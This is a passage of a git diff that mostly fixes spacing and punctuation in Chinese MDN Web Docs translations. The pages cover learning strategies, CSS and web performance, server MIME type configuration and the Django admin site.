对命令行最大的一个批评是它在用户体验方面非常缺乏。第一次查看命令行可能是一种令人畏惧的体验:空白屏幕和闪烁的光标,对于要做什么几乎没有明显的帮助。
+对命令行最大的一个批评是它在用户体验方面非常缺乏。第一次查看命令行可能是一种令人畏惧的体验:空白屏幕和闪烁的光标,对于要做什么几乎没有明显的帮助。
diff --git a/files/zh-cn/learn/learning_and_getting_help/index.html b/files/zh-cn/learn/learning_and_getting_help/index.html index 62315852f701a7..365639e3223aef 100644 --- a/files/zh-cn/learn/learning_and_getting_help/index.html +++ b/files/zh-cn/learn/learning_and_getting_help/index.html @@ -33,7 +33,7 @@
假设您一直专注于问题 C,然后感到沮丧,因为您无法思考如何解决它。但是,在散步获得新鲜空气后,你可能会发现,当你的头脑徘徊,你突然使工具 A 和工具 B 之间的连接,并意识到你可以使用它们一起解决问题 C!它并不总是这么简单,但它也令人惊讶的是多少次,这确实发生了。这也凸显了在电脑前学习时定期休息的重要性。
@@ -44,7 +44,7 @@你会发现很多书面文章在网上教你有关网页设计。例如,像本课程的多数课程一样。有些文章将是教程,教你某种技术或重要概念(如"学习如何创建视频播放器"或"学习CSS框模型"),有些文章将是参考材料,允许您查找您可能忘记的细节(如"CSS属性的语法是什么"?background
你会发现很多书面文章在网上教你有关网页设计。例如,像本课程的多数课程一样。有些文章将是教程,教你某种技术或重要概念(如"学习如何创建视频播放器"或"学习 CSS 框模型"),有些文章将是参考材料,允许您查找您可能忘记的细节(如"CSS 属性的语法是什么"?background
MDN Web 文档对这两种类型都非常好 - 您当前位于的区域非常适合学习技术和概念,我们还有几个巨大的参考部分,允许您查找任何您不记得的语法。
@@ -60,7 +60,7 @@你可能是那种喜欢简单指令的人,更喜欢直接开始操纵代码。这也是一种合理的方法,一些学习网站倾向于采用这种方法。例如像 Codecademy 这类网站中, 教程主要由交互式代码编辑器组成,您必须直接编写代码并查看是否达到了预期的结果。
+你可能是那种喜欢简单指令的人,更喜欢直接开始操纵代码。这也是一种合理的方法,一些学习网站倾向于采用这种方法。例如像 Codecademy 这类网站中,教程主要由交互式代码编辑器组成,您必须直接编写代码并查看是否达到了预期的结果。
许多 MDN Web 文档参考页面中也提供了交互式的示例,您可以在其中更改代码,并查看实时结果的变化。在你的计算机上或者在像 JSBin、Codepen 或 Glitch 这样的在线代码编辑器中创建自己的代码示例也是可以的。事实上,当你在学习时,你会被要求去做这些事情本身就是属于课堂的一部分!
@@ -122,7 +122,7 @@一旦你知道你需要做什么,以及你认为需要多长时间,你就可以开始写一个计划来实现你的目标。它可以简单到:
-“我需要花 500 个小时来学习我需要知道的东西,我有一年的时间来学习。如果我假设有两周的假期,我打算每周为此学习 10 个小时(在晚上和周末有空的时候),所以我会这样安排时间。”
+“我需要花 500 个小时来学习我需要知道的东西,我有一年的时间来学习。如果我假设有两周的假期,我打算每周为此学习 10 个小时 (在晚上和周末有空的时候),所以我会这样安排时间。”
当然,你能在这上面花多少时间取决于你的情况。如果你在学校,那么你有比其他有工作和孩子要养活的人地情况更多的空闲时间。如果不是,实现目标仍然是可能的,但你必须现实清楚地知道实现目标最快需要多长。
@@ -148,9 +148,9 @@正如我们之前所说,web 设计/编程主要是关于问题解决和模式。一旦你写下了你需要做什么来解决一个特定的问题,你就可以开始弄清楚用什么技术特性来解决它了。例如,专业的 web 开发人员已经创建了很多水平导航菜单,所以他们会立即开始考虑这样的解决方案:
-创建一个水平导航栏菜单经常利用到列表,比如:
+创建一个水平导航栏菜单经常利用到列表,比如:
<ul> <li>First menu item</li> @@ -207,7 +207,7 @@-学习并认知模式
display: flex; }
接着删除不必要的间距和要点, 我们可以这样做:
+接着删除不必要的间距和要点,我们可以这样做:
ul { list-style-type: none; @@ -220,7 +220,7 @@学习并认知模式
当你找到这些问题的解决方案时,写下你所做的事情,并在某个文件目录中保留一些少量的代码示例,这样你就可以回顾以前的工作了。
-另外, 网络上有 开发者工具,它使您可以查看用在 web 上构建任何网站的代码。如果你手头没有解决方案,一个好的研究方法是在网络某处地方找到具有类似功能的网站,并找出它们是如何做到的。
+另外,网络上有 开发者工具,它使您可以查看用在 web 上构建任何网站的代码。如果你手头没有解决方案,一个好的研究方法是在网络某处地方找到具有类似功能的网站,并找出它们是如何做到的。
注: 请注意,上面我们讨论了我们首先要解决的问题,然后是用来解决这个问题的技术。这几乎总是最好的方法--不要从一个你看起来很酷但陌生的新技术开始,然后试着把它塞进用例中。
@@ -251,7 +251,7 @@高效的网络搜索
- 如果你想了解更多关于响应式网页设计的信息,你可以搜索”响应式网页设计”。
- 如果你想了解更多关于某项特定技术功能的信息,像 HTML 元素,CSS 属性,或者 JavaScript 方法,你应该直接搜索功能的名称。
-<video>
background-color
opacity
Date.setTime()
- 如果您正在寻找一些更具体的信息,您可以添加其他关键字作为补充,例如 "<video> element autoplay attribute", 或者 "Date.setTime parameters"。
+- 如果您正在寻找一些更具体的信息,您可以添加其他关键字作为补充,例如 "<video> element autoplay attribute",或者 "Date.setTime parameters"。
如果你想搜索一些没有那么明显的专业术语的东西,你需要考虑最有可能搜索到想要的东西是什么。
@@ -285,11 +285,11 @@使用 MDN
在 MDN 的这一部分中,我们提供了关于 web 开发基础知识的大部分问题的答案。如果你陷入困境,最好重新阅读相关文章,看看你是否遗漏了什么。
-如果你不确定该读哪篇文章,那么尝试在 MDN 中搜索一些相关的关键字(如上所述),或者尝试一般的网络搜索。要在 MDN 上搜索,你可以使用网站内置的搜索功能,或者使用你最喜欢的搜索引擎,在搜索词前面加上 “MDN”。例如,“mdn responsive web design“ 或者 ”mdn background-color“。
+如果你不确定该读哪篇文章,那么尝试在 MDN 中搜索一些相关的关键字(如上所述),或者尝试一般的网络搜索。要在 MDN 上搜索,你可以使用网站内置的搜索功能,或者使用你最喜欢的搜索引擎,在搜索词前面加上“MDN”。例如,“mdn responsive web design“或者”mdn background-color“。
其他在线资源
-我们在之前已经提到了 Stack Overflow, 但在这里还有其他在线资源可以提供帮助。
+我们在之前已经提到了 Stack Overflow,但在这里还有其他在线资源可以提供帮助。
找到一个社区是件好事,如果你试图帮助别人回答他们的问题,也可以自己在上面提出问题,你会得到很多尊重。其他好论坛包括:
diff --git a/files/zh-cn/learn/performance/css/index.html b/files/zh-cn/learn/performance/css/index.html index 36e587b0794ff6..17abde06d6907d 100644 --- a/files/zh-cn/learn/performance/css/index.html +++ b/files/zh-cn/learn/performance/css/index.html @@ -3,21 +3,21 @@ slug: Learn/Performance/CSS translation_of: Learn/Performance/CSS --- -页面在样式没有渲染完毕的情况下被绘制,在样式渲染完毕后又被刷新,这大概是很糟糕的用户体验。因此,除非浏览器知道当前不需要 该 CSS,否则 该 CSS将阻止渲染。浏览器只会在下载 CSS 和构建 CSSOM之后绘制页面。浏览器遵循特定的渲染路径:绘制 paint 仅在布局 layout之后进行,布局 layout 则在创建渲染树 render tree 之后进行,创建渲染树则需要在DOM和CSSOM 树解析完成后进行。为了优化CSSOM的构造,请删除不必要的样式,对 CSS 进行最小化,压缩和缓存,并将页面加载时不需要的CSS拆分为其他文件,以减少CSS渲染阻塞。
+页面在样式没有渲染完毕的情况下被绘制,在样式渲染完毕后又被刷新,这大概是很糟糕的用户体验。因此,除非浏览器知道当前不需要 该 CSS,否则 该 CSS 将阻止渲染。浏览器只会在下载 CSS 和构建 CSSOM 之后绘制页面。浏览器遵循特定的渲染路径:绘制 paint 仅在布局 layout 之后进行,布局 layout 则在创建渲染树 render tree 之后进行,创建渲染树则需要在 DOM 和 CSSOM 树解析完成后进行。为了优化 CSSOM 的构造,请删除不必要的样式,对 CSS 进行最小化,压缩和缓存,并将页面加载时不需要的 CSS 拆分为其他文件,以减少 CSS 渲染阻塞。
阻塞渲染优化
-CSS 可以使用媒体查询将样式应用在特定条件下。媒体查询对于响应式 Web 设计非常重要,可以帮助我们优化关键渲染路径。浏览器会阻塞渲染,直到它解析完全部的样式,但不会阻塞渲染它认为不会使用的样式,例如打印样式表。通过基于媒体查询将CSS分成多个文件,可以防止在下载未使用的CSS期间阻止渲染。为了创建非阻塞 CSS 链接,将不会立即使用的样式(例如打印样式)移动到单独的文件中,将
+<link>
添加到 HTML 中,并添加媒体查询,在这种情况下说明它是打印样式表。CSS 可以使用媒体查询将样式应用在特定条件下。媒体查询对于响应式 Web 设计非常重要,可以帮助我们优化关键渲染路径。浏览器会阻塞渲染,直到它解析完全部的样式,但不会阻塞渲染它认为不会使用的样式,例如打印样式表。通过基于媒体查询将 CSS 分成多个文件,可以防止在下载未使用的 CSS 期间阻止渲染。为了创建非阻塞 CSS 链接,将不会立即使用的样式(例如打印样式)移动到单独的文件中,将
<link>
添加到 HTML 中,并添加媒体查询,在这种情况下说明它是打印样式表。<link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" href="print.css" media="print"> <!-- not blocking --> <link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- not blocking on large screens -->-默认情况下,浏览器假设每个指定的样式表都是阻塞渲染的。通过添加 media属性附加媒体查询,告诉浏览器何时应用样式表。当浏览器看到一个它知道只会用于特定场景的样式表时,它仍会下载样式,但不会阻塞渲染。通过将 CSS 分成多个文件,主要的 阻塞渲染 文件(本例中为
+styles.css
)的大小变得更小,从而减少了渲染被阻塞的时间。默认情况下,浏览器假设每个指定的样式表都是阻塞渲染的。通过添加 media 属性附加媒体查询,告诉浏览器何时应用样式表。当浏览器看到一个它知道只会用于特定场景的样式表时,它仍会下载样式,但不会阻塞渲染。通过将 CSS 分成多个文件,主要的 阻塞渲染 文件(本例中为
-styles.css
)的大小变得更小,从而减少了渲染被阻塞的时间。在GPU 上呈现动画
+在 GPU 上呈现动画
-浏览器针对处理CSS动画和不会很好地触发重排(因此也导致重新绘制)的动画属性进行了优化。为了提高性能,可以将被动画化的节点从主线程移到GPU上。将导致合成的属性包括 3D transforms (
+transform: translateZ()
,rotate3d()
,etc.),animating transform 和opacity
,position: fixed
,will-change
,和filter
。一些元素,例如<video>
,<canvas>
和<iframe>
,也位于各自的图层上。 将元素提升为图层(也称为合成)时,动画转换属性将在GPU中完成,从而改善性能,尤其是在移动设备上。浏览器针对处理 CSS 动画和不会很好地触发重排(因此也导致重新绘制)的动画属性进行了优化。为了提高性能,可以将被动画化的节点从主线程移到 GPU 上。将导致合成的属性包括 3D transforms (
transform: translateZ()
,rotate3d()
,etc.),animating transform 和opacity
,position: fixed
,will-change
,和filter
。一些元素,例如<video>
,<canvas>
和<iframe>
,也位于各自的图层上。 将元素提升为图层(也称为合成)时,动画转换属性将在 GPU 中完成,从而改善性能,尤其是在移动设备上。@@ -39,4 +39,4 @@
will-change
属性
font-display
属性-
contain
属性CSS的
+contain
属性允许作者指示元素及其内容尽可能独立于文档树的其余部分。 这允许浏览器针对DOM的有限区域而不是整个页面重新计算布局,样式,绘画,大小或它们的任意组合。CSS 的
diff --git a/files/zh-cn/learn/performance/index.html b/files/zh-cn/learn/performance/index.html index d40e90da92b5a0..961d923b361dca 100644 --- a/files/zh-cn/learn/performance/index.html +++ b/files/zh-cn/learn/performance/index.html @@ -5,23 +5,23 @@ ---contain
属性允许作者指示元素及其内容尽可能独立于文档树的其余部分。这允许浏览器针对 DOM 的有限区域而不是整个页面重新计算布局,样式,绘画,大小或它们的任意组合。{{LearnSidebar}}
-构建一个网站需要HTML、CSS和JavaScript。为了构建人们需要的、能吸引和留住用户的网站和应用,你需要创建一个良好的用户体验。良好用户体验的一部分是确保内容能够快速加载并响应用户交互。这就是所谓的web性能,在这个模块中,你将会学到构建性能良好的网站所需要的知识。
+构建一个网站需要 HTML、CSS 和 JavaScript。为了构建人们需要的、能吸引和留住用户的网站和应用,你需要创建一个良好的用户体验。良好用户体验的一部分是确保内容能够快速加载并响应用户交互。这就是所谓的web 性能,在这个模块中,你将会学到构建性能良好的网站所需要的知识。
给初学者的学习材料的剩下部分主要关注于如何尽量提高性能和易用性等网络体验。但是,也需要特别关注这些话题,确保你熟悉他们。
学习方法
-虽然了解HTML,CSS和Javascript是实现许多网页性能提升建议的必要条件,但了解如何构建应用却不是理解和衡量网页性能的必要先决条件。即便如此我们仍建议在通读此模块之前,你至少要过一遍我们的网页编程入门模块,对网页发展有一个基本认识。
+虽然了解 HTML,CSS 和 Javascript 是实现许多网页性能提升建议的必要条件,但了解如何构建应用却不是理解和衡量网页性能的必要先决条件。即便如此我们仍建议在通读此模块之前,你至少要过一遍我们的网页编程入门模块,对网页发展有一个基本认识。
更深入进行以下主题也很有必要,这些模块包括
-
-- HTML入门
-- CSS初步
-- Javascript初步
+- HTML 入门
+- CSS 初步
+- Javascript 初步
当你通读了这个部分之后,你或许特别想深入了解网页性能——你可以 在我们的主MDN网页性能章节找到更多教学,包括性能API的概览,测试和分析工具 ,以及性能瓶颈问题。
+当你通读了这个部分之后,你或许特别想深入了解网页性能——你可以 在我们的主 MDN 网页性能章节找到更多教学,包括性能 API 的概览,测试和分析工具,以及性能瓶颈问题。
Introductory modules
diff --git a/files/zh-cn/learn/performance/perceived_performance/index.html b/files/zh-cn/learn/performance/perceived_performance/index.html index 5ec25d2a29683d..621bf29de1e699 100644 --- a/files/zh-cn/learn/performance/perceived_performance/index.html +++ b/files/zh-cn/learn/performance/perceived_performance/index.html @@ -11,7 +11,7 @@{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}-感知性能 是用户对网站速度的感受。 用户如何看待性能与任何客观统计数据一样重要,甚至更重要,但它是主观的,并且不易测量。感知性能是用户视角,而不是指标。
+感知性能 是用户对网站速度的感受。用户如何看待性能与任何客观统计数据一样重要,甚至更重要,但它是主观的,并且不易测量。感知性能是用户视角,而不是指标。
本文简要介绍了感知性能,着眼于用户的感知,以及可以使用哪些客观工具来衡量这类主观因素。
@@ -23,7 +23,7 @@@@ -58,13 +58,13 @@ 目标 -基本了解用户对Web性能的看法。 +基本了解用户对 Web 性能的看法。 提升感知性能
最小化初始加载
-要提升可感知性能,请最小化页面初始加载。 换句话说,首先下载将实际显示的所有内容,但仅下载实际使用的内容,然后下载其余内容。 因为最终要下载所有资源,所以实际上资源总量并没有改善——实际上还需要增加一些代码。但因为暂不需要的资源被延后加载了,所以用户并不会感知资源量的增加,而会感受到页面加载更快了。
+要提升可感知性能,请最小化页面初始加载。换句话说,首先下载将实际显示的所有内容,但仅下载实际使用的内容,然后下载其余内容。因为最终要下载所有资源,所以实际上资源总量并没有改善——实际上还需要增加一些代码。但因为暂不需要的资源被延后加载了,所以用户并不会感知资源量的增加,而会感受到页面加载更快了。
-为了最大程度地减少初始加载资源,请从内容中分离交互式功能,以便优先加载初始化时所需的可见内容——文本、样式和图像。 延迟加载其余资源。
+为了最大程度地减少初始加载资源,请从内容中分离交互式功能,以便优先加载初始化时所需的可见内容——文本、样式和图像。延迟加载其余资源。
不要加载初始页面未使用或看不到的图像或脚本,而在页面可用后延时加载,或在需要使用时按需加载。 在初始页面加载之后加载其他资源可提高感知性能。 在初始请求中加载基本数据,并仅根据需要逐步加载功能部件和数据,有助于改善低带宽和低规格硬件的体验。
-此外,您应该优化需加载的资源。 图片和视频应以最佳格式、压缩后的大小和正确尺寸进行投放。
+此外,您应该优化需加载的资源。图片和视频应以最佳格式、压缩后的大小和正确尺寸进行投放。
防止内容跳转和其他重排
@@ -84,7 +84,7 @@交互类元素是可交互的
使任务启动器显得更具交互性
-在按下按键而不是等待按键弹起时发出请求,可以使感知的内容加载减少200毫秒。在 KEYUP 后添加一个有趣但不显眼的200毫秒动画,甚至可以再降低200毫秒的加载感知。 您并没有节省400毫秒的时间,但是用户直到真正等待内容时,才感觉到他们在等待内容。
+在按下按键而不是等待按键弹起时发出请求,可以使感知的内容加载减少 200 毫秒。在 KEYUP 后添加一个有趣但不显眼的 200 毫秒动画,甚至可以再降低 200 毫秒的加载感知。您并没有节省 400 毫秒的时间,但是用户直到真正等待内容时,才感觉到他们在等待内容。
总结
diff --git a/files/zh-cn/learn/performance/web_performance_basics/index.html b/files/zh-cn/learn/performance/web_performance_basics/index.html index 4689bfa18a8de9..0044e4b81cc87e 100644 --- a/files/zh-cn/learn/performance/web_performance_basics/index.html +++ b/files/zh-cn/learn/performance/web_performance_basics/index.html @@ -3,20 +3,20 @@ slug: learn/Performance/Web_Performance_Basics translation_of: Learn/Performance/Web_Performance_Basics --- -有很多的理由告诉你为什么你的网站需要尽可能好的性能。下面是关于最佳实践,工具,API以及链接的简明介绍,它为每个主题提供了更多的信息。意识到对用户来说什么是真正重要的也至关重要,他可能不是绝对意义上的时间而是用户感知的时间。
+有很多的理由告诉你为什么你的网站需要尽可能好的性能。下面是关于最佳实践,工具,API 以及链接的简明介绍,它为每个主题提供了更多的信息。意识到对用户来说什么是真正重要的也至关重要,他可能不是绝对意义上的时间而是用户感知的时间。
最佳实践
- 从学习浏览器的关键渲染路径开始。了解这些会帮助你通晓如何提升浏览器的性能。
- 使用resource hints例如
-rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload
- 压缩Js代码至最小。只为当前页面加载需要使用到的js代码
+- 压缩 Js 代码至最小。只为当前页面加载需要使用到的 js 代码
- CSS性能因素
-- 在你的服务器(或者CDN)上使用 HTTP/2协议
-- 使用CDN托管静态资源,这样可以显著减少加载时间
+- 在你的服务器(或者 CDN)上使用 HTTP/2协议
+- 使用 CDN 托管静态资源,这样可以显著减少加载时间
- 使用gzip, Brotli 或者 Zopfli压缩您的资源
-- 图片优化(如果可以,尽可能使用css动画或者svg)
-- 在超出应用视口范围的部分使用懒加载,如果你这么做了,为SEO制定一个后备计划(例如为bot traffic 渲染整个页面)
+- 图片优化(如果可以,尽可能使用 css 动画或者 svg)
+- 在超出应用视口范围的部分使用懒加载,如果你这么做了,为 SEO 制定一个后备计划(例如为 bot traffic 渲染整个页面)
工具
@@ -24,7 +24,7 @@工具
diff --git a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html index 8fa29cf3ce8afb..f11b4dca042fab 100644 --- a/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html +++ b/files/zh-cn/learn/server-side/configuring_server_mime_types/index.html @@ -8,11 +8,11 @@ ---
- 学习使用Firefox Dev Tools来分析您的网站。
- Pagespeed Insights 可以分析您的页面并且给出一些通用的建议来提升网站性能。
-- Lighthouse 可以给您一份有关您网站的包括性能,SEO和可访问性等多个方面的详细分类。
+- Lighthouse 可以给您一份有关您网站的包括性能,SEO 和可访问性等多个方面的详细分类。
- 使用 Webpagetest.org检测页面在不同真实设备类型和地点时候的速度。trics.
- 定义一个 绩效预算 (performance budget)。
Background
-默认情况下,许多web服务器会为那些未知内容类型的文件配置一个默认MIME类型
+text/plain
或者application/octet-stream
。当一种新的内容类型被创造或者被添加到web服务器上,web管理者在添加它到web服务器配置中可能会失败。主要原因是用户使用Gecko-based 的浏览器,而这种浏览器只相信由web服务器和web应用所发布的MIME类型默认情况下,许多 web 服务器会为那些未知内容类型的文件配置一个默认 MIME 类型
text/plain
或者application/octet-stream
。当一种新的内容类型被创造或者被添加到 web 服务器上,web 管理者在添加它到 web 服务器配置中可能会失败。主要原因是用户使用 Gecko-based 的浏览器,而这种浏览器只相信由 web 服务器和 web 应用所发布的 MIME 类型What are MIME types?
-MIME类型描述了邮件或者web服务器或者web应用中的媒体内容的类型,其目的是为了指导web浏览器对媒体内容的处理和表现。MIME类型的示例如下:
+MIME 类型描述了邮件或者 web 服务器或者 web 应用中的媒体内容的类型,其目的是为了指导 web 浏览器对媒体内容的处理和表现。MIME 类型的示例如下:
- @@ -26,71 +26,71 @@
text/html
对于一般网页What are MIME type
Technical Background
-完整的MIME类型列表可在 IANA | MIME Media Types 查看.
+完整的 MIME 类型列表可在 IANA | MIME Media Types 查看。
-在HTTP specification 中定义了能够描述在web中使用的媒体类型的MIME超集。
+在HTTP specification 中定义了能够描述在 web 中使用的媒体类型的 MIME 超集。
Why are correct MIME types important?
-假如web服务器或者应用报告内容的MIME类型不正确,根据HTTP规范,或许发起人想要处理和显示内容通过他所规定的MIME类型,因此web浏览器无法采取任何措施。
+假如 web 服务器或者应用报告内容的 MIME 类型不正确,根据 HTTP 规范,或许发起人想要处理和显示内容通过他所规定的 MIME 类型,因此 web 浏览器无法采取任何措施。
-对于某些浏览器,例如IE,它尝试允许web服务器对于错误配置通过其源码猜测它可能的正确MIME类型。
+对于某些浏览器,例如 IE,它尝试允许 web 服务器对于错误配置通过其源码猜测它可能的正确 MIME 类型。
-这种做法将会避免许多由web管理员他们的错误。因为当内容的MIME类型错误,IE将会用可能正确的MIME类型来继续处理内容。例如你设置一个
+img
的类型为text/plain
,IE可能会设置它为正确的MIME类型images/*
这种做法将会避免许多由 web 管理员他们的错误。因为当内容的 MIME 类型错误,IE 将会用可能正确的 MIME 类型来继续处理内容。例如你设置一个
-img
的类型为text/plain
,IE 可能会设置它为正确的 MIME 类型images/*
出于安全原因,使用正确的MIME类型的服务内容也是重要的; 恶意内容可能会影响用户的计算机,假装它是一个安全类型文档,实际上不是。
+出于安全原因,使用正确的 MIME 类型的服务内容也是重要的;恶意内容可能会影响用户的计算机,假装它是一个安全类型文档,实际上不是。
-注意: 从历史角度, 只要HTML文档请求处理CSS文件 ,Firefox 能够正常加载CSS即使它设置了错误的MIME类型。处于安全原因, {{ gecko("2.0") }} 对于从请求文档不同来源加载的样式表,将不再这样做。如果CSS来自于不同来源,你必须设置它的正确MIME类型 (
+text/css
).注意: 从历史角度,只要 HTML 文档请求处理 CSS 文件,Firefox 能够正常加载 CSS 即使它设置了错误的 MIME 类型。处于安全原因,{{ gecko("2.0") }} 对于从请求文档不同来源加载的样式表,将不再这样做。如果 CSS 来自于不同来源,你必须设置它的正确 MIME 类型 (
-text/css
).Gecko 1.9.1.11 (Firefox 3.5.11) 和 Gecko 1.9.2.5 (Firefox 3.6.5) 同样实施这种安全措施,但是提高它的实用性。如果样式表中的第一行看起来是一个很好的CSS构造,则存在允许加载的临时启发式算法。在Firefox 4中已经删除了启发式,您必须正确设置
+text/css
的MIME类型,才能够识别CSS。Gecko 1.9.1.11 (Firefox 3.5.11) 和 Gecko 1.9.2.5 (Firefox 3.6.5) 同样实施这种安全措施,但是提高它的实用性。如果样式表中的第一行看起来是一个很好的 CSS 构造,则存在允许加载的临时启发式算法。在 Firefox 4 中已经删除了启发式,您必须正确设置
text/css
的 MIME 类型,才能够识别 CSS。为何浏览器不应该猜测 MIME 类型
-除了违返了HTTP规范,让浏览器去猜测正确的MIME类型是一个差劲的策略。原因如下
+除了违返了 HTTP 规范,让浏览器去猜测正确的 MIME 类型是一个差劲的策略。原因如下
失去控制
-假如浏览器忽略报告的MIME类型,web管理员和用户不在对内容如何进行处理有发言权了。
+假如浏览器忽略报告的 MIME 类型,web 管理员和用户不在对内容如何进行处理有发言权了。
-例如,面对web开发员的网址可能希望发送某些实例HTML文档,同时通希望能够以
+text/html
或者text/plain
的MIME类型进行数据的处理和显示 或者 作为一个源代码。如果浏览器猜测它的正确MIME类型为text/html
那么开发员不在有权利进行选择了。例如,面对 web 开发员的网址可能希望发送某些实例 HTML 文档,同时通希望能够以
text/html
或者text/plain
的 MIME 类型进行数据的处理和显示 或者 作为一个源代码。如果浏览器猜测它的正确 MIME 类型为text/html
那么开发员不在有权利进行选择了。安全性
-一些内容类型,例如可执行程序,本质上是不安全的。原因是经过规范化的MIME类型都有经过严格规定浏览器如何对这类类型的文件进行操作。一个可执行程序不能够在用户的电脑浏览器上执行,但可以通过弹出会话询问是否下载这个文件
+一些内容类型,例如可执行程序,本质上是不安全的。原因是经过规范化的 MIME 类型都有经过严格规定浏览器如何对这类类型的文件进行操作。一个可执行程序不能够在用户的电脑浏览器上执行,但可以通过弹出会话询问是否下载这个文件
-MIME类型猜测导致IE浏览器的安全漏洞(通过利用IE能够将错误的MIME类型 修改为正确的类型)。这绕过了正常的下载对话框,导致InternetExplorer猜测内容是可执行程序,然后在用户的计算机上运行。
+MIME 类型猜测导致 IE 浏览器的安全漏洞(通过利用 IE 能够将错误的 MIME 类型 修改为正确的类型)。这绕过了正常的下载对话框,导致 InternetExplorer 猜测内容是可执行程序,然后在用户的计算机上运行。
如何确定服务器发送内容的 MIME 类型
-通过开发者工具的 ContentType 查看MIME类型。
+通过开发者工具的 ContentType 查看 MIME 类型。
-根据标准,通过一个
+meta
标签来设置MIME类型 例如<meta http-equiv="Content-Type" content="text/html">
当包含{{HTTPHeader("Content-Type")}} 时则忽略meta
标签根据标准,通过一个
meta
标签来设置 MIME 类型 例如<meta http-equiv="Content-Type" content="text/html">
当包含{{HTTPHeader("Content-Type")}} 时则忽略meta
标签如何为你的内容确定正确的 MIME 类型
-这里有几种方法来确定文件的正确MIME类型
+这里有几种方法来确定文件的正确 MIME 类型
-
-- 如果你的内容是通过供应商软件应用创建的,那么你可以阅读供应商文档确认不同媒体文件的MIME值
-- 通过查看完整的MIME类型表 IANA | MIME Media Types registry
-- 如果使用插件netscape gecko显示媒体类型,请安装插件,然后查看“帮助”>“关于插件”菜单,以查看哪些MIME类型与媒体类型相关联。
-- 搜索文件扩展名 FILExt 或者File extensions reference ,确认扩展名和哪种类型的MIME相关联
+- 如果你的内容是通过供应商软件应用创建的,那么你可以阅读供应商文档确认不同媒体文件的 MIME 值
+- 通过查看完整的 MIME 类型表 IANA | MIME Media Types registry
+- 如果使用插件 netscape gecko 显示媒体类型,请安装插件,然后查看“帮助”>“关于插件”菜单,以查看哪些 MIME 类型与媒体类型相关联。
+- 搜索文件扩展名 FILExt 或者File extensions reference ,确认扩展名和哪种类型的 MIME 相关联
如何设置服务器以发送正确的MIME类型
+如何设置服务器以发送正确的 MIME 类型
-基本的方法是配置你的服务器发送正确的HTTP
+ContentType
类型给每个文档基本的方法是配置你的服务器发送正确的 HTTP
ContentType
类型给每个文档-
- 如果您正在使用Apache Web服务器,只需将此示例.htaccess文件复制到包含要使用正确MIME类型发送的文件的目录中。 如果你有一个完整的文件子目录,只需将文件放在父目录中;您不需要将它放在每个子目录中。
-- 如果您使用的是Microsoft IIS, 请参阅IANA | MIME Media Types registry这篇文章。
-- 如果您使用服务器端脚本生成内容,通常可以在脚本顶部附近添加一行。 您可以从Perl,PHP,ASP或Java提供HTML以外的内容 - 只需相应地更改MIME类型即可。 +
- 如果您正在使用 Apache Web 服务器,只需将此示例.htaccess 文件复制到包含要使用正确 MIME 类型发送的文件的目录中。如果你有一个完整的文件子目录,只需将文件放在父目录中;您不需要将它放在每个子目录中。
+- 如果您使用的是 Microsoft IIS, 请参阅IANA | MIME Media Types registry这篇文章。
+- 如果您使用服务器端脚本生成内容,通常可以在脚本顶部附近添加一行。您可以从 Perl,PHP,ASP 或 Java 提供 HTML 以外的内容 - 只需相应地更改 MIME 类型即可。
-
- 对于 Perl CGI,你应该在文档其他行之前输出
+print "Content-Type: text/html\n\n";
。如果您正在使用CGI模块, 你可以使用print $cgi->header('text/html');
代替, 其中$cgi
是对CGI实例的引用。- 对于 Perl CGI,你应该在文档其他行之前输出
print "Content-Type: text/html\n\n";
。如果您正在使用 CGI 模块,你可以使用print $cgi->header('text/html');
代替,其中$cgi
是对 CGI 实例的引用。- 对于 PHP,你应该在文档其他行之前输出
header('Content-Type: text/html');
。- 对于 ASP, 你应该在文档其他行之前输出
response.ContentType = "text/html";
。- 对于 Java servlet, 你需要在
diff --git a/files/zh-cn/learn/server-side/django/admin_site/index.html b/files/zh-cn/learn/server-side/django/admin_site/index.html index 0be09f634a4d01..19b80c4b240203 100644 --- a/files/zh-cn/learn/server-side/django/admin_site/index.html +++ b/files/zh-cn/learn/server-side/django/admin_site/index.html @@ -8,16 +8,16 @@doGet
或doPost
方法之前输出response.setContentType("text/html");
,其中response
是对HttpServletResponse
的引用。{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}-好了,我们已经为本地图书馆网站 LocalLibrary 创建了模型,我们接下来使用 Django 管理站点去添加 一些 “真“书数据。首先我们展示如何用管理站点注册模型,然后展示如何登录和创建一些数据。本文最后,我们介绍你可以进一步改进管理站点的建议。
+好了,我们已经为本地图书馆网站 LocalLibrary 创建了模型,我们接下来使用 Django 管理站点去添加 一些“真“书数据。首先我们展示如何用管理站点注册模型,然后展示如何登录和创建一些数据。本文最后,我们介绍你可以进一步改进管理站点的建议。
- 前提: +前提: 完成: Django Tutorial Part 3: 使用模型。 - 目的: +目的: @@ -27,15 +27,15 @@ 了解关于管理站点的优点与缺点,并且可以使用它为我们模型创建一些记录。
综述
-Django管理应用程序可以使用您的模型自动构建可用于创建,查看,更新和删除记录的站点区域。这可以在开发过程中节省大量的时间,从而很容易测试您的模型,并了解您是否拥有正确的数据。根据网站的类型,管理应用程序也可用于管理生产中的数据。Django项目建议仅用于内部数据管理(即仅供管理员或组织内部人员使用),因为以模型为中心的方法不一定是所有用户最好的界面,并且暴露了大量不必要的细节关于模型。
+Django 管理应用程序可以使用您的模型自动构建可用于创建,查看,更新和删除记录的站点区域。这可以在开发过程中节省大量的时间,从而很容易测试您的模型,并了解您是否拥有正确的数据。根据网站的类型,管理应用程序也可用于管理生产中的数据。Django 项目建议仅用于内部数据管理(即仅供管理员或组织内部人员使用),因为以模型为中心的方法不一定是所有用户最好的界面,并且暴露了大量不必要的细节关于模型。
-创建基础项目时,自动完成所有将您的网站中的管理应用程序包含在内的配置文件 (有关所需实际依赖关系的信息 (如有需要请看 Django docs here). 其结果是,你必须做你的模型添加到管理应用程序是 注册 他们。在本文末尾,我们将简要介绍如何进一步配置管理区域以更好地显示我们的模型数据。
